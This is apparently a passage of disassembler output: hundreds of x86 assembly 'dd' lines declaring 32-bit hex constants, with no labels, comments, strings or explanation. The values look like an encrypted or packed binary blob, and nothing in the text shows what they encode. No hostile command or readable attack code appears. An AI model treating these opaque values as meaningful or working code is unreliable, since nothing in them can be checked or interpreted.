		dd 169D4FE9h, 8BBCE7FFh, 8B01FE5Ch, 0B5AE1A1Fh,	2CB5803Dh
		dd 4579CA81h, 0FC561727h, 2E78A866h, 807EB7h, 6C143F5Bh
		dd 125B75E9h, 8D2D5BCh,	512D9102h, 5872079h, 0D64F37BEh
		dd 562BBE77h, 5200F94Fh, 0D8F7C447h, 275E01D3h,	0D27471BAh
		dd 130223CAh, 68280F26h, 286FC786h, 4B49A72h, 10F5D7BAh
		dd 0FF09FF3Ch, 0BDB6A0B2h, 175EF2D4h, 0BD55575Dh, 25CB4155h
		dd 7FA62B29h, 772BE982h, 0B8B42055h, 994B37h, 0DE0D17Fh
		dd 18F5564Ch, 23673504h, 0E0FA3C3Eh, 37F8E900h,	53F17B7h
		dd 0F73D62E9h, 0B96E6048h, 0B8205F4Bh, 588C40AEh, 0D1F7F97h
		dd 96E95703h, 0F3EF855Bh, 0D5509DC4h, 7F355D00h, 557916Eh
		dd 40835B9Ch, 9CD6F796h, 7F2DF8C0h, 0C5312F98h,	0CB1E655Bh
		dd 0F10DA1E7h, 48E87ABDh, 3D59BD17h, 0D386804h,	16B580CCh
		dd 8035E9FDh, 2E1C157h,	0F0384979h, 67EA4E7Eh, 63EFC2EAh
		dd 95BA6EDDh, 22F7478h,	1EAB80AAh, 4A1B010Ah, 0DCC3AB4Bh
		dd 39180B05h, 0EF7ED2B8h, 6808C451h, 92149E25h,	4C595F0Eh
		dd 29D3F5E9h, 8DCC75EBh, 365DCD0Ch, 13010C41h, 0AE2A4935h
		dd 68085250h, 0C32C140Ch, 0C14B9A10h, 6BD503A9h, 6A2D9CCDh
		dd 75C2FF70h, 74626E76h, 0D0BAAB0Ch, 6BF7B694h,	275997F5h
		dd 949D46A2h, 30D3641Ah, 0B0E54C78h, 3B0F0CDDh,	0A551D8F6h
		dd 94A56F82h, 4B1F8A2Eh, 82CA73AAh, 9AEE4B4Ah, 0DBBA4BC5h
		dd 37BE4EC1h, 0E65ECBE8h, 0CB6E57CBh, 0B6B396BFh, 79577AD7h
		dd 0D4430B44h, 5413FDF1h, 62953542h, 0B34D4064h, 1B6A825Dh
		dd 6D3BE07Dh, 0A9124F59h, 4CC40377h, 1412AA7h, 0D14063B4h
		dd 0C823051Ah, 60B7A82Eh, 0D266DB09h, 88ACA0D9h, 0FD945797h
		dd 0E9159EEEh, 3884F1Ch, 222592E2h, 7E99DA34h, 31AD052Fh
		dd 0B2F3A8D8h, 2F1976E8h, 0D5AF8D7Bh, 564FF214h, 55343932h
		dd 68F8337Ch, 964C991Eh, 9CD8FA54h, 0A42EB6EDh,	72020258h
		dd 28FD7FA5h, 0E9050855h, 0ADF5F5B9h, 0B832BF3Bh, 97D0D076h
		dd 0D3756748h, 212E5981h, 2DF5812Dh, 555F1797h,	3D99F040h
		dd 125B5195h, 0FD94D4E9h, 9F68C075h, 907EF637h,	54255C9Dh
		dd 0B00C24A5h, 1F4F12A3h, 503EC5A6h, 5964261Ah,	5E6D405Fh
		dd 0DB51BFFBh, 2F76E88h, 2DD668ADh, 3E9C5CD1h, 0E9286C41h
		dd 26ACF12Fh, 0FCDD0A1Ch, 0BD688521h, 7CE86229h, 0EE81BADCh
		dd 5F574271h, 3F89A0A7h, 7D75116Ch, 16E76597h, 4C08564h
		dd 0B3965E2h, 0B4F021h,	0AE480ECEh, 68504601h, 7969F213h
		dd 304FEE0Eh, 2150894Bh, 1AB685Bh, 0BE1DCFBDh, 4D61D157h
		dd 5028C8CBh, 0FC40E345h, 99DF62Eh, 0E74EE926h,	0B965A5Dh
		dd 0EC43A9Ah, 973CC04h,	95D97F5Bh, 58E5E9C2h, 4A4225ACh
		dd 0DE56C85Dh, 133A043Fh, 0A26A5BE9h, 68DF05EFh, 5B981514h
		dd 0E90BA02Dh, 6520BDC9h, 0BC756CEFh, 705A474Ch, 80123828h
		dd 51F76817h, 0BDC07CACh, 2FEF28FDh, 94BEE912h,	0FEB223F4h
		dd 0A46164BFh, 0CE8CFE6Dh, 94F218C1h, 554AA0FBh, 0E13DC389h
		dd 68F30102h, 19D51EDDh, 1B240B05h, 71EA3980h, 16DBC29Ch
		dd 58567D0h, 54D8BC8h, 0B551AFB7h, 40EF9D82h, 0BC797192h
		dd 82524534h, 345D167Ch, 0E95A0C86h, 0F2AB5267h, 0A6374709h
		dd 0E5FC0317h, 0C23CD22Ch, 5B2B48F5h, 1CD97309h, 0FFF7E1D1h
		dd 3F76C983h, 0FE0454BDh, 8B428003h, 4A0F5780h,	0C406FCAh
		dd 0CDF679ABh, 25A6CE14h, 0EF7B7C2Fh, 0FD8CD0ACh, 0FB118067h
		dd 48EA9372h, 0B7685120h, 143FEE6Dh, 0C0AA7C79h, 1C33D1BEh
		dd 5D7B905Ch, 81004247h, 32D2B4F7h, 0F95821FDh,	0CDF11D19h
		dd 0FA5316h, 99705E14h,	0CA512961h, 82080481h, 72645059h
		dd 65711A09h, 53027FFCh, 0B3DD9085h, 0D7CFD782h, 9162AAD1h
		dd 53CAD39Fh, 0CF0BB4FCh, 0DD288A1Ch, 6ECA5AA5h, 1CDFC5Ch
		dd 70BE2E9Ch, 0F256E9E9h, 0EA1DCADEh, 564232C9h, 0A454C516h
		dd 746BAD7Fh, 41440E77h, 7E02211Dh, 1EE92B8Eh, 7BC85BF9h
		dd 2D82231Eh, 0F76819D1h, 9DF275D0h, 7F63396Bh,	0CAC4538Fh
		dd 8262BB0Bh, 0F50D6356h, 0E4D0190Bh, 0C8BE0BCFh, 165F5453h
		dd 72B8009Ah, 0F713A35Fh, 357C48D8h, 0EC5CA013h, 619F1601h
		dd 0C8263D3h, 6CED105Fh, 0B086688h, 0E5415DE9h,	0B9B83F5Bh
		dd 3A039298h, 37844E96h, 0F082843Eh, 2D6D63D9h,	0B27758D5h
		dd 8D81576Dh, 302173DAh, 0E3401ED4h, 23F668h, 815A790Ah
		dd 0B51C4ECAh, 519820E5h, 33392A16h, 4F553CF0h,	0D660F25Fh
		dd 0D87E64B1h, 5727E922h, 527574FBh, 62173DFh, 493FBAE9h
		dd 0C15DEA1Ch, 0DAF705C5h, 32F84087h, 0D95D59CAh, 6944484Dh
		dd 46BE24F7h, 909786A0h, 0F05E63Eh, 275E4B60h, 0C894E0C4h
		dd 9E1E1595h, 70D8A290h, 5B536847h, 1440983Ch, 0B4291B4Fh
		dd 0EDFF693Bh, 2C6830B8h, 975A30E9h, 0E3416260h, 60922050h
		dd 6D050C7Dh, 0E91C0310h, 572716BDh, 0ECB7969Eh, 0CF5B2084h
		dd 0EEC14613h, 299832FAh, 0E92D9EF0h, 757E8955h, 7EB79836h
		dd 7057716Dh, 7F2C2784h, 1209C714h, 0E955F67Ah,	0B8584256h
		dd 0FB7F9461h, 93B2815Ah, 8F02D2D4h, 45254C5Fh,	26AB47E0h
		dd 14B6E9Fh, 8852B753h,	3CDFE9F9h, 0DB5B384Ah, 5560D199h
		dd 0CD73C067h, 56187F59h, 7B706E98h, 30FCE24Ch,	0D5E79CC5h
		dd 0C7F24AE9h, 7255C7BAh, 0B2DC65EEh, 0F6BED865h, 64401639h
		dd 0A884EA37h, 0BE25C8F8h, 86062C1Bh, 0F20105A1h, 29088040h
		dd 0AE5B4BDAh, 44BF42Fh, 1603F782h, 362A05EEh, 0E40BFF28h
		dd 8BA9A23Eh, 0FD3E571Ch
		dd 51FBE915h, 16C14B17h, 35001D3Ch, 0ED2620B3h,	10103017h
		dd 261E682Ah, 42401A2Eh, 0E4EC7419h, 8D7A5745h,	0E64E3019h
		dd 0BE5DF140h, 10D56916h, 0B5C0E92Eh, 0B1BFE207h, 407E9927h
		dd 0E01E88CBh, 9C245D7Ah, 7C11859h, 0F830A966h,	49C09CD7h
		dd 55933CFBh, 0CEB9900h, 4BD265Dh, 53708480h, 8064C529h
		dd 334CA3EAh, 3B9CA1A0h, 74E90696h, 0D25851E9h,	68160B46h
		dd 15703E86h, 911363E9h, 6EC20366h, 0AE8D21CCh,	0CEE76991h
		dd 0D689EAD7h, 737700F7h, 61054541h, 30971413h,	0E48B3A0h
		dd 3D0F3225h, 0E2E2D27h, 34800CABh, 4961AA4h, 4154A97h
		dd 31E95808h, 8DC2468Bh, 28E0B6C0h, 0E8DFF4DCh,	0BFD1BF4Fh
		dd 0DF2509A6h, 0E976FEBEh, 0D79DA492h, 2797638Eh, 40CEE5DCh
		dd 0E446BA81h, 313E35F5h, 834D17FAh, 0C539FDCDh, 2A18680Bh
		dd 0ED030BE6h, 15D0D48h, 0D908C27Ch, 1C484BBBh,	6B58EF68h
		dd 9D0D0AFh, 77D121F0h,	0DDC33220h, 0B727DE6Ah,	447CE189h
		dd 21585497h, 898C8E1Ah, 0FDCCBAD7h, 9024FD44h,	46F8B47h
		dd 9E892122h, 5B504F3Eh, 0ED261757h, 9E512495h,	345DAE3Fh
		dd 0D7BE5642h, 0F005152Fh, 3EBF995Eh, 0C7EFB0A1h, 0C58313C5h
		dd 7B53A158h, 4985E02Fh, 0E06D7B8h, 4161FE71h, 117A2FE2h
		dd 0F80905F6h, 0A131A018h, 5236D64h, 685EF731h,	0E98C42FFh
		dd 91A519AEh, 0E4DD09E3h, 0D3E88FA9h, 7F8231EEh, 746F512Eh
		dd 1A774869h, 0E4257DFh, 98F1B35Dh, 5839AC1Fh, 0CD096850h
		dd 0E157E6DFh, 0C2A576Fh, 0C1C05D89h, 8E014D0Ch, 0C105D44Ah
		dd 5E27AD12h, 5BDE8E4Ch, 787F1E4Bh, 5A136894h, 0D8687220h
		dd 0AA6EB753h, 0B21FF522h, 3765262Ah, 40A6583h,	0E79FD8Eh
		dd 628DC45Bh, 3420138Dh, 15C9881Dh, 8C717582h, 0F245CC42h
		dd 525017F2h, 0EF370091h, 6D48174Dh, 770ACFECh,	0B43E2F7Ch
		dd 800C6E10h, 1060BC5h,	2509664Ch, 0C7107D09h, 7783D30Dh
		dd 5BEA3252h, 0C5E0EF81h, 0D89576DEh, 0BD44F259h, 800499Ah
		dd 62EC7CD7h, 0C478C497h, 177C6EEh, 3CAA3558h, 0E57C49E1h
		dd 0A0E8A4h, 18D13B47h,	95DC38E9h, 19E26EC8h, 8542C525h
		dd 9956AD42h, 340752B8h, 75535137h, 5BB383C7h, 58BEC2E5h
		dd 0C8E822DDh, 0C7E6DF54h, 0C51C8227h, 25ACA430h, 18826F09h
		dd 77095CF7h, 58F58189h, 0F66117FBh, 516AA78h, 0AEE2E4C0h
		dd 70D7253Dh, 421252DCh, 60B42A98h, 7FB3E14Dh, 6B98F380h
		dd 0C8BC0A4Fh, 51A68C3h, 71F6AF84h, 30F553C9h, 0C00E6A41h
		dd 754E2D18h, 71984367h, 836C40h, 0D0F701E8h, 5D4A7A05h
		dd 2D0E5A60h, 5886AD98h, 0D3513BA4h, 9411FC6Bh,	32550E27h
		dd 0FA53D37Eh, 0F8FAE409h, 66AC2526h, 0B4C1EA56h, 6E0C0B9h
		dd 179B4FE9h, 293AC846h, 68251690h, 7DF00B4Ah, 6618EAEDh
		dd 6045E953h, 68BB48CAh, 4416424Ch, 81FAD3F7h, 0A52C74F1h
		dd 6F97FE4Ch, 0D5F73338h, 0D72ED194h, 516A54C3h, 912E0091h
		dd 33730316h, 0BFF2353Eh, 0AE5616FEh, 47037E44h, 879EFF13h
		dd 0C402E912h, 13F8AA7Ch, 3E85B10h, 0EBC035B3h,	0F6071605h
		dd 3994ADDBh, 38C38991h, 9597E28h, 0BA920B9h, 2CC47BD5h
		dd 0BDE9060Fh, 512EFD72h, 0C81D6DB1h, 50F77A7h,	0F00BE904h
		dd 3B0968EFh, 7C40586Eh, 0FCC22714h, 436EF7Fh, 0E46884E9h
		dd 8BBF1C92h, 0C4F4D0A3h, 9386AFD2h, 8C485443h,	47CF804Eh
		dd 0E962C321h, 126F13F1h, 0DEAE1D7Fh, 684B093Fh, 8811A580h
		dd 317375CEh, 0C6055698h, 0BF6AB59Dh, 58664380h, 0FE407C69h
		dd 642F26E8h, 53F600C0h, 0E9319510h, 0F147D52Dh, 0C757CBDCh
		dd 82DDA538h, 0D56E2883h, 8CABBC98h, 0E054880h,	5F7A70D2h
		dd 145A1AA0h, 0EF00353Ch, 819B8682h, 923ABC7h, 99E9690Ah
		dd 43817D0h, 2CD01D52h,	0E8145A1Ch, 339240C9h, 0D6B7209Ah
		dd 770BC9E5h, 0A85A5E76h, 0E9410F7Ah, 0B87FC8C5h, 15C2A4BDh
		dd 0F53EC75h, 1D310E83h, 0E4683BA5h, 1F123D4Eh,	5701362Eh
		dd 7697675Ah, 18A0F2F0h, 0D736911h, 14CA525h, 76C827FAh
		dd 69D95383h, 0AD566BFAh, 403AE1F0h, 3C955566h,	0DE72BF7Fh
		dd 76444C25h, 307F5A9Ah, 0B039C74h, 94E97FDCh, 1C2D3720h
		dd 0EDB04B6Fh, 192DE84Ch, 0C3DF5F86h, 0E31A203Eh, 15031653h
		dd 0F7FB8728h, 9F087AD7h, 7F52E7D1h, 0F590ADC6h, 16D66B49h
		dd 5CEAC1FEh, 24DF886h,	4B4C7510h, 4EF77CF0h, 0F68AF4DEh
		dd 0F312640Bh, 0C0BDF60h, 0DE6100DDh, 2C6AB751h, 60E0CBE9h
		dd 6B4C52AAh, 54640C9h,	16A01E16h, 0E0C47280h, 0D05839E3h
		dd 36B6528Bh, 6834015Dh, 0A34C4963h, 308A26B0h,	0D5511ADCh
		dd 49E39E8Eh, 987B7299h, 72FD998h, 0D196333Eh, 886E33A2h
		dd 0EE6EAD30h, 5BDE05F4h, 121C13BAh, 0F826166Dh, 58B87815h
		dd 0C28B735h, 68262BACh, 5574690Bh, 0F7253793h,	1EA4EC12h
		dd 0DF286211h, 0B2585BC3h, 514E6812h, 0F8433044h, 0C0A6B807h
		dd 410D115Ah, 297F1CE4h, 0FC5044Fh, 3B815281h, 0E492F409h
		dd 98BFFEB9h, 9E530674h, 28CD992Ch, 7BF20910h, 7F00A23Bh
		dd 0C053E5CAh, 12690840h, 0EADA9879h, 99C06316h, 1618B4EDh
		dd 0C156323Bh, 6F479323h, 0A89757F3h, 4C94E4AFh, 0AD31F8FAh
		dd 57F08F42h, 0D02D2D1h, 0C27CEE43h, 7025D76h, 97AA0CE9h
		dd 0D8D515D3h, 0B251E44Bh, 6F58C641h, 0E898233h, 0F6916E7Dh
		dd 5C73D498h, 96450876h, 652701CDh, 0A15DA72Bh,	23E4680Fh
		dd 56164223h, 43C8EA58h, 79B90451h, 0C310317Ch,	0D7575FAh
		dd 52D08E5Ah, 0A12C03C3h, 9631D8D0h, 0D272D2FBh, 4A740F31h
		dd 0E46905DFh, 8656DCE2h, 468F5D4Bh, 5795CCC0h,	0C54A8958h
		dd 12CD6EC0h, 217F01AAh, 0E9455EF5h, 55A06464h,	0E1685102h
		dd 5E5A3B39h, 843C88F5h, 9BB85F16h, 0AD95EE04h,	0F812EF13h
		dd 1E561901h, 0A470379Eh, 0B3595ADDh, 7C010D3h,	0B112583Fh
		dd 0BC25EB38h, 5848D8BEh, 2125A59h, 0F8685931h,	13E75D6Bh
		dd 0E96801A7h, 647B71B2h, 17C1C4B7h, 7AA4A692h,	0ED420829h
		dd 9520E49h, 4947D12Fh,	455F7729h, 70DBA0E3h, 6F3626A1h
		dd 1F6C015Bh, 30527E13h, 818024F5h, 0D75B09F3h,	0A0DFED0Ch
		dd 2D5EF071h, 5341004Bh, 57555F73h, 0EA77B850h,	3556E801h
		dd 1574656Eh, 0E0956B9h, 84DC4352h, 0E580D213h,	7C4D1935h
		dd 0BF571DF3h, 2BCECA42h, 3F0F25ACh, 5F359A42h,	422360DDh
		dd 48780424h, 87C1DFF7h, 7BC0BEA6h, 297CBFDAh, 0CA4F61BFh
		dd 5D71AF2Ah, 803AE3B5h, 0FD08AA06h, 0C29FE927h, 33837511h
		dd 3DC24EEBh, 72267956h, 74957B3Ch, 0F2C354D7h,	0E86358B5h
		dd 2D177025h, 15FC68DFh, 0EFD00282h, 3292C0BCh,	26EE1D7Fh
		dd 203BA401h, 9B24A108h, 8FFEE745h, 3BA94E6Eh, 2705CA89h
		dd 0FFF4128Bh, 494EE68Bh, 0D676F072h, 0A597D925h, 685853F4h
		dd 0B57F701Bh, 7772997Eh, 0EB894B51h, 0B115232h, 3A84D399h
		dd 1CE8025Dh, 655F07D6h, 0C544D4C6h, 0F8E711A3h, 7484AD5Eh
		dd 10CAF509h, 5E037DBEh, 0DF5B2D1Bh, 924ECDA8h,	60755A82h
		dd 2D5DDAE5h, 7BD22A3Eh, 8CFFC558h, 27E9154Dh, 0EF717535h
		dd 7620534Fh, 253A68EBh, 59D6C3F8h, 3CD16525h, 13128ED0h
		dd 2343C352h, 0BD5FE317h, 3A50C5A9h, 11B01290h,	0EA8A86C4h
		dd 14EC5E4Ah, 5F9E2E4h,	77C91220h, 0D17901FBh, 0BAF74BEBh
		dd 17BED8F0h, 4204836Ah, 0BA13DDD4h, 0CD2DDF23h, 0B44BCCCAh
		dd 0D94B9AC8h, 0C2A702E8h
		dd 225D2A7Fh, 0F582DAh,	35186857h, 0AE0055AAh, 25C4466h
		dd 1A9ABA0h, 0E9640B09h, 4CA5A5Fh, 0C61491EBh, 0C7C4FA2Dh
		dd 12A7F3EEh, 0B6EEC373h, 50EA161Ch, 0CA102FA3h, 3B755045h
		dd 5E1F219Ch, 4EB932D5h, 2C590554h, 0F86B86F7h,	877C16D4h
		dd 686F8001h, 959364CCh, 38B30569h, 93C133BCh, 303B1910h
		dd 5418C961h, 86D44D75h, 6AC12D57h, 0D91899F5h,	91F3816Ah
		dd 49BB0022h, 67C3D60h,	9CFD7A19h, 0BDE6258h, 0FC771D68h
		dd 0C1687A8Bh, 769459FBh, 93B8DFE9h, 0C5BBA68h,	2A902E30h
		dd 51F007Fh, 3F4D3E22h,	20BF2EE9h, 7CEA81CFh, 2974BD27h
		dd 4942303Eh, 5AFB0F35h, 0B5A0B864h, 0D9753F83h, 0C8213E8h
		dd 5F6D33F9h, 0D1168801h, 13F655C2h, 0FC0ACAA8h, 0E4F80145h
		dd 0F8CDA842h, 904E6635h, 0F12D7749h, 9A74197Bh, 0AE02C235h
		dd 1B2C1EAh, 3999A43Eh,	7F25F4B4h, 577E5CE4h, 31407D5Ah
		dd 4C03A2CAh, 6CD9858h,	3DAE7355h, 180C0E42h, 0C7F2C7Dh
		dd 0DD3E104Ch, 12E7438h, 0AA9D0796h, 0F04F27B9h, 0B2C98C8h
		dd 0B3D33AFh, 2800BFFh,	911D12Fh, 5E4D6201h, 0A78C610h
		dd 96E7813Dh, 0A3806454h, 7FCC2C80h, 0CCF85ECBh, 440B358Bh
		dd 50C38C2Ah, 7219957Ah, 1F86E29h, 10C8A9B5h, 5B045CB8h
		dd 0B3434768h, 0BA0226E5h, 891EDE69h, 8BFD0FE9h, 0B8CC7F12h
		dd 4E08B427h, 43D3972Bh, 53C694A9h, 5CCD01B0h, 0C8E973CAh
		dd 0F8BB8929h, 5F3A112Dh, 48DBB13Eh, 7C4FE947h,	0DCAAE017h
		dd 5A4B5BA0h, 53942BFDh, 0B4270B01h, 97FA0144h,	9EBC26C6h
		dd 82EDC4h, 115AD4BFh, 9DCD905Ch, 0D0E9C7E8h, 3D9631D4h
		dd 492B89D2h, 6B807D4Bh, 4DF91D42h, 3198589Dh, 83775470h
		dd 0AFA93FC2h, 6840E9B1h, 6701278Dh, 0FE5808D4h, 5094E26h
		dd 777D8531h, 9C61B2CCh, 4A3A8B2h, 5B28DF1Fh, 0DC60C251h
		dd 26F3675Dh, 3956E9E2h, 90085C42h, 9AC0CDE7h, 0CBF2C131h
		dd 6007FB57h, 2D04EF88h, 6AE94D72h, 0FBAB13ABh,	312D51CBh
		dd 51C465D4h, 66A0EDF8h, 71746CBEh, 9325F9Ch, 0C62C6004h
		dd 0A6B61F4h, 302DA2F6h, 0B4804385h, 0C4800078h, 8ECC052h
		dd 279B353h, 0F7E5EB5Eh, 0ED41F7D6h, 94886AC7h,	7D230513h
		dd 42542933h, 2A25E9C2h, 3C82C6D4h, 777DC00Dh, 0EF542524h
		dd 3BF2B9FDh, 6B93768h,	25B4E1Eh, 0FB65097h, 0D3734A69h
		dd 453E7F2Dh, 62355997h, 0EE08CE28h, 0B6298A35h, 2A4722Bh
		dd 121E6DDDh, 0B13DAB79h, 7DC68E09h, 68A8C37Bh,	622AD3BFh
		dd 6801BFB3h, 3FCD7CF9h, 9D23A07Ah, 0FC8A794Bh,	0D2005B25h
		dd 5C132E11h, 0B15BF32h, 18045F31h, 902D004Bh, 0E327612h
		dd 9B047105h, 28971F72h, 1144F907h, 9FCFB2BFh, 5E66809h
		dd 0CCEBC8FCh, 102DE94Bh, 0E0204B38h, 35428169h, 0A90B08BDh
		dd 13BCD26Eh, 0BFEB164Fh, 0A5EDB774h, 0BAE51584h, 0C34CC28Ah
		dd 92705F94h, 0B8BC0F3Ah, 0B96F9353h, 277FB9F3h, 0DA60E370h
		dd 89A9AD0Ah, 0A257F36Eh, 2CC35350h, 52471677h,	15316CDh
		dd 6F5B37B6h, 334B6010h, 65750306h, 0C33FD21h, 4684E95Fh
		dd 0CFEED66Dh, 0C2CA7F5Eh, 0F2719213h, 0D4AE4E31h, 9CF18053h
		dd 5802BC6Eh, 0C15AD309h, 0CBB25EEBh, 9D364DFh,	1123AD9h
		dd 52A730F6h, 4AD7926Dh, 8F2D1086h, 41F4752Dh, 0C687226Ah
		dd 0DD0EA6Bh, 24DF4EE8h, 611F707h, 379301CBh, 8520D19Ch
		dd 5C10A820h, 5934B166h, 787BF08h, 0E2F52193h, 0E53C605Eh
		dd 0BD147FE9h, 9F44C7E1h, 688BAD35h, 32C48229h,	0B1F15BD0h
		dd 0FD43F01Eh, 51EA5745h, 5FFBE26h, 0C7AF2AFh, 2309A168h
		dd 0AF3D52CFh, 0AF1D5693h, 95CECCDCh, 0EB5AC604h, 0BFE473F8h
		dd 0BDC513E5h, 9773C6DFh, 4B5EFEFEh, 1246F65Ch,	75C062E9h
		dd 16B22D5Ah, 501C140Fh, 9D7507CAh, 0FB570BCAh,	0BD2C98C6h
		dd 40826195h, 820BF663h, 42D85C5Fh, 0ACF5320Dh,	95EDEA4Bh
		dd 524A0DDh, 5C644A41h,	2C274452h, 5DEE5DC8h, 3A58574Ch
		dd 0DDF8608h, 40B0ABFh,	2E9CF29h, 598C9131h, 58663089h
		dd 4EC9F09Dh, 1F9BAB55h, 8BE65C24h, 2C075FB3h, 25EA30BDh
		dd 0C2F0DA28h, 0E35AE9EAh, 0E2C08303h, 57200506h, 1DF65266h
		dd 2A5A59A1h, 0E9DAE043h, 0D8B5645Eh, 2F410171h, 310216BAh
		dd 0EB800DC7h, 435029EDh, 12FB4801h, 0C15F0840h, 1741420Eh
		dd 0E9E9EB2Dh, 0FA66758Ah, 0D996C6FCh, 9805DE0h, 0E23064ECh
		dd 193EF4D3h, 1A6A7CAh,	5F5106BFh, 0E9D1BD87h, 1B74BB39h
		dd 60CB68E1h, 3071997Fh, 0D99DDAABh, 0BE560091h, 31971D2h
		dd 0CC4E462Ch, 22C27E0Dh, 3D1C1A28h, 96FF2F1Ch,	4EEEFECDh
		dd 5A7A54EDh, 6ADAEB05h, 0A149AF86h, 689FE1E6h,	5D05C439h
		dd 0EE246F29h, 0B05516CCh, 0F2284FD7h, 6749DFF8h, 0C3547C06h
		dd 1F3B5DC7h, 80E4A5F3h, 6053BA78h, 0D6556074h,	2F933140h
		dd 88B748B7h, 0A6F1B7F3h, 0BC16FEEFh, 0D8641FF2h, 4B7A32Dh
		dd 36DE686Bh, 1F53C01Ch, 25F18114h, 7B765C17h, 50B00AFh
		dd 18C51A84h, 8141D095h, 32D85D07h, 94B14855h, 0F3B2907h
		dd 83884913h, 11503E07h, 0D8DC4E68h, 673D7807h,	50758B7h
		dd 5CED0CB0h, 17604EBh,	1A07131Dh, 73C56CC5h, 28856B0h
		dd 0E94AF02Eh, 4CFDD5AEh, 9CD09515h, 70F90124h,	373CF20Ah
		dd 0E54B30B2h, 0E85E3860h, 809404FDh, 0BCC16CC9h, 0E9DDD0B0h
		dd 4FEF0493h, 0ED573165h, 930188A8h, 0C108821h,	4576EEB2h
		dd 643AC625h, 164B4EAAh, 6024B29Eh, 680AB294h, 31234ECAh
		dd 635699h, 0BD095B5Dh,	96090A56h, 927B795Ah, 0A113FAF9h
		dd 626269EAh, 0F4681091h, 849DB84Fh, 9DEBF99Dh,	78C200A2h
		dd 7F5BB868h, 0E70008BDh, 790F6748h, 77667BE9h,	5E0E5229h
		dd 0CC40A355h, 10CF4C5Ah, 9E074539h, 11136802h,	1508C073h
		dd 8CE22CE8h, 0F66488B5h, 132E7427h, 1373B629h,	0DBEF5457h
		dd 4FE90BC0h, 1CED51F2h, 2FD72BB6h, 0DA68ABD9h,	4B87947h
		dd 0E807E6C0h, 80B7C09Eh, 0FC5BFE30h, 0CEDCFDEEh, 0B35306FAh
		dd 73E5E982h, 0F2EBD2B5h, 144BEAFh, 0A371C3B9h,	0F0FB3144h
		dd 0F4917F27h, 0D21415h, 0D6B65202h, 9F6FF680h,	660E2F51h
		dd 18D25451h, 0BD371661h, 7BDB7D65h, 0F35DFC29h, 0F7D803Ah
		dd 5257C0B7h, 0A59E7585h, 0E955F25h, 5756681Ch,	1285178Ch
		dd 0AA03772Ch, 6B47C360h, 0A3B58A1h, 6071C001h,	21D30146h
		dd 840805CFh, 0D0F8EA38h, 0BC1EEB93h, 0DE16E0C9h, 0D664EF11h
		dd 8603A907h, 0B7F10B7Ch, 0C60B057Ch, 7C7494B9h, 739A90C1h
		dd 0C258CC2h, 71B6F6F3h, 84472853h, 50F527E1h, 635EE02Bh
		dd 0DF7FEF12h, 229E4EBh, 0FF4E914h, 63A4809Ch, 0A142504Fh
		dd 66A4BACAh, 2E9F08ECh, 670ED026h, 240B77D0h, 0A39777F3h
		dd 62937C2Dh, 970A2E9h,	76D7F72Dh, 0C4D36F56h, 8C812937h
		dd 0E163F61Ch, 564A3168h, 5648333h, 1260B2B4h, 183B4655h
		dd 5E595B74h, 0CB015D13h, 5EA272A9h, 0FFD86484h, 651B0E06h
		dd 0B8FB271Dh, 54A20922h, 0F5814D00h, 4BD2175Dh, 0C21BACE5h
		dd 0FD0BE908h, 5B191479h, 693826BCh, 589010CEh,	866B07A1h
		dd 0DFB54F45h, 0BED89A4h, 21D66F23h, 0E9127DC6h, 0A6D0597Fh
		dd 4EBD6E08h, 5AEFAC10h, 0E91761F2h, 0ACDA4B3Ah, 2829E577h
		dd 37582DB6h, 508DD899h, 6CD668C8h, 94604CB6h, 2D12CE0Fh
		dd 871AFA29h, 0BE0EADDh, 0CF120210h, 0DF020930h, 45F93F52h
		dd 95BA772Fh, 2C9CA1C0h
		dd 5107F7A5h, 6EC20E68h, 134E5530h, 7F190A69h, 5C25CDFBh
		dd 7710C0A6h, 0CA9827B0h, 0EA680C03h, 10FD2173h, 2748B6A2h
		dd 3F80F74Ah, 1054562Eh, 2D7CDEFDh, 7CE55D27h, 0AB1FD90Ch
		dd 0E0A05EAh, 0AA0140FEh, 0AA4E93E3h, 44EB0F57h, 8D662FF8h
		dd 31BB2ADAh, 2B59E522h, 0C0EED428h, 2A92D23h, 82F4768Ch
		dd 7397E3B2h, 0F4571415h, 70B75420h, 2DD89FEFh,	0D916690Ch
		dd 0F6342C2Fh, 0C0D6005h, 0F062FC67h, 0B0B8709Dh, 7CB0B7Fh
		dd 0CC8469E5h, 61AA5215h, 4C9945Eh, 0F95092AAh,	0BE82D350h
		dd 12443EF7h, 0F53254E9h, 0CA4AC453h, 0E7447F64h, 7499B207h
		dd 61EAA155h, 0B5616C2Ah, 640C88ABh, 0A2160648h, 57797589h
		dd 5EB7A163h, 10BDE856h, 0F45AC273h, 6139F543h,	754EA5CDh
		dd 2DF80383h, 362E30E0h, 6B4AF890h, 0A04EA4B2h,	0BE416061h
		dd 257B2636h, 2E1A2546h, 7DEC1FC0h, 9668A9A2h, 680B3592h
		dd 0FD76CD34h, 0F8EDBBC1h, 5648A46Ch, 3EE701EEh, 0CD013D43h
		dd 0D0081CA0h, 5927141Ch, 0D1CEB854h, 19B6AE10h, 2DE5A5Fh
		dd 0BD370DE8h, 8420E14Ch, 5EB4B040h, 0BE7190C6h, 1C7BF120h
		dd 81F4445Fh, 0A52C1E32h, 0E06F9711h, 51B55E42h, 0EBD0CB49h
		dd 248017D0h, 1634D772h, 42E67DAEh, 915DC390h, 703585FFh
		dd 0F300E56Ch, 81549F4Bh, 401275E6h, 3108551Bh,	3FE98401h
		dd 0E58DA8E3h, 5D257A8Eh, 0B15A656Ch, 74EF0B4Bh, 575894DBh
		dd 1BAE6883h, 0F1B6AA85h, 3377E90Bh, 0BC677DD6h, 0C27B1BF9h
		dd 77BB6A28h, 0F84CAFD9h, 0BACC5EB4h, 0AF680E60h, 6ECD950Bh
		dd 0D0422A24h, 625E07F7h, 1644953h, 4CFCDC25h, 0F9D6B5C6h
		dd 0AD3B58A6h, 0F438ECEAh, 14BB6015h, 4D1381BFh, 83B91B1Ah
		dd 8A9560Bh, 0AD0FD8F6h, 0DC3CA205h, 4ABAEE33h,	1A80B55h
		dd 8BB99800h, 1D2DC828h, 69AB40D1h, 65BC2552h, 12C13478h
		dd 0D501BF8Fh, 571007Eh, 0D615FB8h, 44F06818h, 91FE5857h
		dd 15C84B3h, 0A398EFF7h, 970F530Eh, 0F65AB304h,	0B558C1D3h
		dd 47AB2B71h, 32DBE3C3h, 435DB9C3h, 68FCED84h, 0F5E22E27h
		dd 0C2DCF9DFh, 0F620B505h, 0B819413Ah, 31AC3025h, 0C780E7FBh
		dd 3058C404h, 9DEB5BF8h, 68EE103Bh, 8FB64023h, 27BF544Bh
